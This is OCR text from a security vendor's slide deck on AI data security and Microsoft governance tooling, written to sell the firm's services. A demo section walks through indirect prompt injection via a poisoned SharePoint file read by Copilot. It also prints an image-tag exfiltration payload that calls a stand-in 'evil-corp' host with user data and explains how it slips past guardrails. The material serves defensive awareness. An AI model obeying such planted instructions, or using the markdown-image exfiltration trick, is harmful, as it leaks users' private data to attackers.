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Who we are

Nedscaper is your trusted cybersecurity partner, offering pragmatic and accessible services
throughout the Netherlands and South Africa. We leverage Microsoft's security tools and
experts to provide continuous protection and guidance.

Goal: To provide confidence in digital life through guidance and continuous protection.

Vision: Make robust security accessible and manageable for all organizations.

Microsoft Intelligent
Security Association

B® Microsoft
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what are we talking about?

56% of employees use non-company approved
Al — Blackfog 2026

The number of reported data breaches related to the use
&I]m@’ of Alin the workplace such as ChatGPT, Claude and
Gemini is rising sharply — Het Financieele Dagblad (NL, Dec, 2025)

. 68% of organizations have experienced data

leakage due to employees' use of Al -
Metomic 2025

99% of vulnerabilities discovered by Claude

Mythos were not yet patched — anthropic, April
2026
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what are we talking about?
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56% of employees use non-company approved

Al — Blackfog 2026

The number of reported data breaches related to the use
of Al in the workplace such as ChatGPT, Claude and
Gemini is rising sharply— Het Financieele Dagblad (NL, Dec, 2025)

68% of organizations have experienced data

leakage due to employees' use of Al- Metomic 2025

99% of vulnerabilities discovered by Claude

Mythos were not yet patched — anthropic, April
2026

Mistakes are easily made, especially
with new technology.

Non-Enterprise Al uses user input to
improve their models.

Data leaks can have long-term adverse
consequences for organizations, their

customers and employees.

More than 4 million Al models
available in 2026.

Software vulnerabilities become even
more critical to be patched.
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Challenges within the organizdtion

My employees are asking for Al. We're
just going to turn it on. Willyou take care
of the details?

Management wants to hurry, but
my team barely knows what a
"prompt"is, letalone how to use
Al safely.

And don'tforgetthe impactif Al
accidentally requests sensitive data. Our
access rights are Swiss cheese..... Notto
. mention all our legacy data.

PRESENTATION NEDSCAPER

This is asking for trouble! We don't
have an Al policy or control yet.

Without data classification, we can't turn
this on! We don't know where the risks
are.
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The change in data usage

Without Al

Manual entry and
processing of data, user has
control over the data.
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Generative Al
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Reactive support. Model
generates data based on
specific assignment and
input user.

Al-Agents

Autonomous workflow
-
&'& A .; B

Agent 1 Agent 2

Autonomous task execution. Based on
predefined instructions, the system

independently performs actions on data
and systems.
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Agents complicate the landscape

Orchestrator model sSwarm Review workflow
o o ;
'&g L Worker 3 » a
@ Worker | Worker 3 —
Worker | A Agent X ReVie\{rV
supervisor clele
Worker 2 Worker 2 Worker 4
Hierarchical Workflow Sequential

¢

'mg @ Supervisor A -

Agent | Agent 2 Agent 3
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Terminology — NIST

Secure — Security for Al 0

Solutions used to protect consumers and

self-developed Al and Al agents from misuse
(‘ and data breaches.

Defend — Al for Security 0

| Al solutions built to support and enhance
ol security processes related to identification,
protection, detection, and response.
Thwart — Protect against Al threats

o Defend against Al solutions developed by threat
,\ actors to exploit vulnerabilities, perform social
\/ 8 ‘ engineering, and reduce time to intrusion by

deploying Al or Al agents.
PRESENTATION NEDSCAPER 11
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what is Security for Al?

Protect Al models, data, and usage throughout their lifecycle to ensure
trust and compliance, also known as RAl (Responsible Al).

Security for Al

Confidentiality Integrity

©

I\Vellle]of/[ij\YAM Accountability =~ Responsibility

i

A S

Monitoring
PRESENTATION NEDSCAPER Al Lifecycle
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whart are the risks?

Al poses unique risks that require new security measures

Security for Al
D- Prompt Injections
Model Poisoning
Confidentiality Integrity Jailbreaks

©

A S

Non-Compliant models
nl ‘ Iﬁ Bias in output
Monitoring

PRESENTATION NEDSCAPER AI LifeCycle 13
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The threat is redl

Real-world examples of Al-related security incidents

&P samsung Data Leak

a Confidentiality

Source code exposed via Chat-GPT.

|
EchoLeak
H

Confidentiality

Zero Click exploitenabling Data Exfiltration

a
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Chevrolet Al Chatbot

@ Integrity
Prompt manipulation resulting in a $1 dollar car
deal.

Grok "MechaHitler”

GROK

Responsibility

Grok was manipulated causing itto post antisemitic racist
slurs and calling itself MechaHitler

i

14

This document is classified as Nedscaper General Use



Aon
AR Nnedscaper

LIVE DEMO

Attacking LLMSs:

what Exploits Look Like in Practice

I Prompt Injection — overriding system instructions

I Data EXxfilfration — extracting conftext window data




Promprt injection

®-©‘
1. Trojan Horse

Attack uploads
malicious travel-
policy.txt to
Sharepoint.

=i}

2. Hidden
instructions

Payload wrapped
in fake tags or
hidden text tells
the LLM to execute
instructions

3=

3. Trigger

Employee asks
Copilot“what is

our travel policy”

,c,\%:\
\OJLQI )

4. Data retrieval

The LLM retrieves
the poisoned
document from
Sharepoint into its
context window

"

5. Execution

The LLM obeys the
hidden instructions,
answers the user and
silently executes the
malicious payload
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The Data Exfiltration

The malicious code

<img>https://evil-corp.demo.local/collection?
user=jane_doe&query=travel policy&context=private server_info</img>

= A

¥ Automatic Fetch é;// The Stealth SO Zl%ﬁ?ﬁ‘ﬁg'.%”“'
R -

Rendered as a 1x1 Due to it being a 1x1 pixel the Input scanners sees a 100%
transparentimage, the user user only sees the normal clean user prompt (guardrails
sees a normal answer, but the answer text from the LLM not triggered)

browser “sees” the <img> tag model and does not become

and fires an HTTP GET request suspicious Output response permits

to the URL image rendering
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Demo 1ime
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Even legit Al usage and applications have risks to them

Shadow Al

Today, the widespread use of Al tools by employees creates new risks of exposure of sensitive data.

PRESENTATION NEDSCAPER

@G*QJQGBQ

App v

Microsoft Copilot

Generative Al

Microsoft 365 Copilot Chat

Generative 4l

Microsoft Security Copilot

Generative Al

GitHub Copilot

Generative 4l

Google Gemini

Generative 4l

ChatGPT

Generative Al

Risk... |

_B[]

I 10

I 10

I 10

I 10

Tags

SANCTIOMNED

SANCTIOMED

SANCTIONED

SANCTIOMED

SANCTIOMNED

Traffic ~

129 KB

26 MB

416 KB

78 MB

100 KB

12 MB

Upload

203 KB

41 KB

65 MB

926 KB

Trans... ™~

15

169

17

Users IF ad... ~  Devices
1 2 1
1 4 2
1 4 2
1 ¥ 3
1 1 1
1 3 1
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what can | do?

Al Risks Al Solution
OWasp LLM Top 10 Risks

Shadow Al @ 3rd Party mp
LLM’s

Data _ y M365
oversharing ’. Copilot

Al Agents Copilot
Proliferation ' Studio &
Foundry

LLM
Threats

PRESENTATION NEDSCAPER

Defender
for Cloud
Apps

N

=) (‘ Purview

G4

m—fh

- ’. Ag

o 1
Defender
for Agents

o

Security for Al

C

E7 capability
R

L2

Edge for
Business

Secure
Access

Identity
ent 365 m) ) AgE:rtI:alD » (&)Governance

Conditional
Access

Identity
Protection
20
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where 10 start

DLP determines which
data Copilot and other Al
tools are not allowed to

use.
Rollout of classificati Al
ollout of classification
. to the organization, for Ready
Which Al tools do we use identifying sensitive data
in the organization, why in day to day and Al tools

and what are the rules of
to comply with?

Now

21
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Al & Data — Go hand in hand

IT starts with Data

Data Identity

Which applications What data is considered Which data may be accessed
to access sensitive and under what credentials
What models and What are the guardrails Who governs the agents
prompts are allowed to protect the data?

PRESENTATION NEDSCAPER 22
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Classification for Al

Unauthorized data

23
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Two perspectives on the same
Classifications |

One label, double functionality



Governance € Responsibilities

(Chief) Al Officer **Optional**: Drafts and validates usage of critical Al usage
(Chief) Data Officer: Drafting data classification, Al and retention policy.
Privacy Officer : Supporting data governance processes and policies

Chief Information Security Officer: Defining measures based on sensitivity,
validating measures and residualrisks.

. ¢
Strategic ‘H’ U

CAIO CDO PO CIs0O

Enterprise Architect : Supporting the implementation of technical control with aview
to the entire environment.

Information Security Officer: Translating policy into technical controls.

Data Owner: Formally responsible for value, quality, access decisions, and retention.

Information & Automation: Design & Implement Policy-Based Data
Classifications, Security, and DLP Rules

Dpe rational LJ L_l Security Analyst: Monitoring and analyzing incidents.

IS&A S-Analist

PRESENTATION NEDSCAPER 25

This document is classified as Nedscaper General Use



N
- Nnedscaper

The solutions

/
/

7



Short recap
Al Solution Security for Al
asp LLM Top 10 Risks

>
Shadow Al 3rd Party m) Defender . Edge for
LLM’s for Cloud Business
Apps
N
E7 capability —
Data L)

_ A, M365 (" Purview (“sA  Secure
oversharing '. Copilot =) & e

4 2

Al Agents Copilot | Ent ~0  Identity
Proliferation ' Studio & ™ '. Agent 365 m) ) Ag:n:aID » (&)Governance
Foundry 8 ' 2

)|
LLM Defender Conditional
Threats for Agents Access

Identity
Protection
PRESENTATION NEDSCAPER 27
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IT starts at Purview

DSPM (for Al)

e. Information e e —— -
Protection ’ for - v (31ac52b) Risky Agent Usage .
. 44.2K R . 44.2K e — -
Name Priority \ — s 4752 \ [P—

Highly Sensitive - ———— 552 o O et sy g S
A . © Tegeted harassment @ Threst @ Morwey burcharisg @ Stock mani ® Unstrznd duciauare . st @ Sibotage @ Soci v ® s ® g manbe D e e (4} SEQUINCE. Lot the sccrenad by Ongpast
. - s S

Sensitive

Top sensitivity labels referenced in Microsoft 365 Copilot -
vt R LY er— T —
tems with senitiity lsbels shared with Copil pubany

: abels rom Copilot processin
General . " - e e e Kopte
: P =—— ~\ —. ST |
gy conbiertil . 442K — e : : » e 3000 - .
Public . \ —
' : [ g

Information Protection Insider Risk Management

-
IS
=
/)

7

v — j: o e ".‘T"‘»"j""""“ |

~ Actions

Use actions to protect content when the conditions are met.
-~ Restrict Copilot from processing content

Content that matches your conditions won't be used by Copilot to generate responses,

Data Loss Prevention
Policies

PRESENTATION NEDSCAPER 28
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Agent M365

Get an overview of the Agents used in
your environment.

Configure and publish blueprints for
Al agentsto use

Perform governance activities such as
monitoring privilege and usage

Part of the recently announced E7
capabilities, release date May 1st

O O O ¢

PRESENTATION NEDSCAPER

@ Microsoft 365 admin center

« > ¢

x =k

‘admin.microsoft.com

it Microsoft 365 admin center £ search

Q
>

S5

X & @2 0  ©

Home
Copilot

Agents

Overview

| Al agents

Tools
Settings
Users
Roles
Billing
Support
Settings
Reports

Health

+ Show all

Home > All agents

All agents ¢ agesss

Map  Registry Requests  Catalog

Total agents Agents at risk Ouwnerless agents Slocked agents

v 21,762 |4 8 23

v
Upload agent 1~ Exportto Excel 5 Pin for users
v
Filters:  Creator Availability Channel Platform Acquired from
~
O neme Availability
v
,  Zava Fabric Supplier
v O " i @ Al users
M Finance Data Analysi
inance Data Analysis
[m} Foundry @ Alusers
Zava Supplier Agent
O | Copiorsuo-Lie @ somansas
Customer Billing Agent
m] Cucpilot Studio - Fu © someusers
O @ Foerhe s
Microsoft
O . Genspark MNot activated
Genspark
& Manus
O 89 aonic © some users

Monitor and manage agents powered by Microsoft Entra in your organization, Manage in Entra 1D

Risks

' Zava Fabric Supplier suesint

52 Pinforusers & Block

Overview  Users Data&tools  Security & compliance  Permissions

Review the permissions for this agent and accept them for your org, Permissions allow the agent to access the
relevant info and act without a user present or on a user's behalf. Learn more about

44 Copllot

Analytics

and admin consent

Visit the Defender for Cloud Apps portal to get detailed risk and permission insights for apps connecting to Microsoft

365. Go to portal

@ Mona Kane accepted permissions on November 20th.

Groups and Teams.

Applications

SharePoint sites

Microsoft Graph APIs
Application permissions Detadls
Group.Read All Read all groups
TeamsActivity.Send

Send o teamwork activity to any user

RoleManagement.Read.Directory Read all directory RBAC settings

User.Read.All Read all users’ full profiles
Chat ReadBasic. All Get a list of all chats
Delegated permissions Details

This document is classified as Nedscaper General Use
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Defender for Cloud Apps

Cloud Discovery

Updated on Oct 31, 2025, 4:25 PM

Dashboard  Discovered apps  Discovered resources  IP addresses  Users  Devices

(D Depending on your permissions, some of these actions may not be available. For more information, contact your security administrator.

Queries: Selecta query v [5] Saveas

Apps:

Browse by category: % < [ Bulk selection ~ -+ New policy from search L Export ~
| Gd ‘ App - Rl v Tagsw
Content management “ gy  Microsoft 365 Copilc  mmmm 10
“® Genentive Al
Business management %
ChatGPT -— o
Business intelligence Ll Generative Al
Cloud storage n OpenAl L1
Generative Al
v Generative Al 7

Fireflies -

Generative Al

Human-resource management 5

Project management 4 - 7
of)) FeodSpesker
Generative Al
Property management 3

Cursor -7
Operations management 3

Generative Al

Editpad - s
Generative Al

*Purview E5 functionaliteit
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Traffic

234KB

107 MB

TTTKE

65K

14 M8

Apptag@: @ Sanctioned © Unsanctioned None  Riskscore: 0 (O———() 10

Upload

30 ME

Compliance risk factor: Select factors v

Trans... ™

165

Users ~

IP ad...

h 4

~  Devices v

29

[3 Defender-managed endpoints ~ (3 Last30days  Actions v @

x

@ ) Advanced filters

Security risk factor: Select factors v

Oct 31,2025

Oct 31, 2025

Qct 26, 2025

Qct3,2025

Oct 31,2025

Oct 14, 2025

Oct 30, 2025

Lasts.. v Actions

1-7 of 7 discovered apps 3 Table settings

Edit app discovery policy

Policy template *

Policy name *

ck Al Apps with app risk score below 7

Apps matching all of the following < Edit and preview results > Clear all

Risk score equals 06 X m
Category equals Generative Al X W
+ Add fitter

Governance actions

Tag app as unsanctioned

[ Tag app with custom tag

——————————————\

Defender for Endpoint

organisation.
Hosted by grok.com

Contact your administrator for more information. Visit the support
page.

—_— . oy,

]
This website is blocked by your I
[
|
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Defender for Cloud Apps

o -
ﬁ Al agent tool invocation blocked by Microsoft

/
[
Defender for I
J Cloud Apps |
[
[
I Defender
) Entra I mmm Informational Unknown  ® New
[
[
[
[
‘ Copilot [
Studio l

\

J Defender XDR portal/Sentinel

gl EII = I =N N I IS I I I S S,

~

PRESENTATION NE*P@fview Eb functiondliteit )
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Different flavours for different situations

Our approach

3 Weeks 4 Months 12 Months

Nedscaper Al Readiness
Assessment

Nedscaper Al Readiness I
Enablement I

Nedscaper Al — Data Security
Comprehensive Rollout I

DURATION

PRESENTATION NEDSCAPER &
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what we offer

@ Al Readiness — < AlReadiness -
Risk Assessment Enablement

Nedscaper developed an Al risk assessment Organization-wide rollout of Al security
to identify risks associated with the use of measures with input from the risk
commercial Gen-Al and LLM solutions. assessment.
= Risk Assessment & Roadmap = Sensitivity labels

recommendations = Al&M365 DLP-rules (based on use cases)

= Al Security Policy**

= Al Shadow IT Monitoring and Control
(Defender for Cloud Apps)*

= Al (XDR) Monitoring*

* May require a Microsoft M365 E5 or E7 licensing
**We offer a draft Al policy template aligned with ISO standards to support clients in developing their own Al specific policy framework

Data € Al Readiness
Ccomprehensive

— Microso
© purview

A comprehensive rollout of the Al security
and data security measures, including the
Purview capabilities and all Essentials:

= Upto 15 Additional Use Cases

= Endpoint* & M365 DLP

= Automatic Sensitivity labels*

= |nsider Risk Management (based on use

cases)*
= Optional modules (by mutual agreement)*

This document is classified as Nedscaper General Use



what we offer

@ Al Readiness — < Al Redadiness - Data € Al Readiness
Risk Assessment Enablement Comprehensive

s

whicrosoft
P\“\"e\N

Micros
Purview

Nedscaper developed an Al risk assessment Organization-wide rollout of Al security A comprehensive rollout of the Al security

to identify risks associated with the use of measures with input from the risk and data security measures, including the

commercial Gen-Al and LLM solutions. assessment. Purview capabilities and all Essentials:

* Risk Assessment & Roadmap » Sensitivity labels * Upto 15 Additional Use Cases
recommendations AL M35 DI P adpaint= 2 DLR

Nnedscaper

Managed Security Services

*|n case the organization is eligible to Microsoft Data Security Workshop funding

34
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Capability Matrix
o s servioes

Purview DSPM for Al scans M365, SharePoint, Copilot and We run the scan, interpret results, map exposure across Copilot, Knows what Al

Al Asset Discovery Foundry interactions for sensitive data signals Foundry, and custom apps, build the prioritised inventory can touch

Entra Internet Access detects unmanaged Al app usage at We monitorthe alerts, classify risk by app, advise on policy and Visibility +

Shadow Al Detection network layer (GA March 31) block decisions control

Entra Agent ID assign's identity to Copilot Studio and Foundry We configure governance policies, review Foundry and Copilot Agents are

Agent Governance agents. Agent 365 provides inventory + Conditional Access Studio agent permissions, monitoridentity anomalies governed

Defender for Cloud Al: alerts for Copilot Studio agents (GA). We triage alerts, build custom KQL rules for Foundry gaps where Threats are

Al Threat Detection Foundry agent protectionin preview, currently free native coverage is stillmaturing, run proactive hunting caught

Purview DLP blocks sensitive data in Copilot and Foundry We design and deploy the label taxonomy, configure DLP policies Data stays

Data Protection prompts. Sensitivity labels classify content across Al workloads across Copilotand Foundry, tune false positives protected

Sentinel + Defender XDR surface correlated incidents from
Incident Response Copilotand Foundry agents. Security Copilot assists
investigation

We run the playbook, contain the threat, own the follow-through, Continues
brief the client Improvement

Assessmentfor Al, Foundry reference architectures, compliance We translate signals into board-ready language, run quarterly Defensible

Al Assessment (Consulfancy) templates (free resources) reviews, own the Al security roadmap posture

PRESENTATION NEDSCAPER This document is classified as Nedscaper General Use



summarize

Data Security is important as a component for Al-Ready

It is not strictly necessary to only allow Copilot only after having all Data Security
has been set up from A-Z.

Focus on new data, a basic set of security and ensure clear policy rules also in
terms of the use of Al and don't forget monitoring your Al and Al agents

Use our "Proof of Value" or "Essentials" approach to ensure a smooth start to your
Copilot readiness.

Nedscaper, Microsoft certified specialists in the field of data security/protection.
We can help you make the right choices/decisions.

Let's assess your goals and situation together.




Closing statement

Questions, or interested in how our offering can support your organization?
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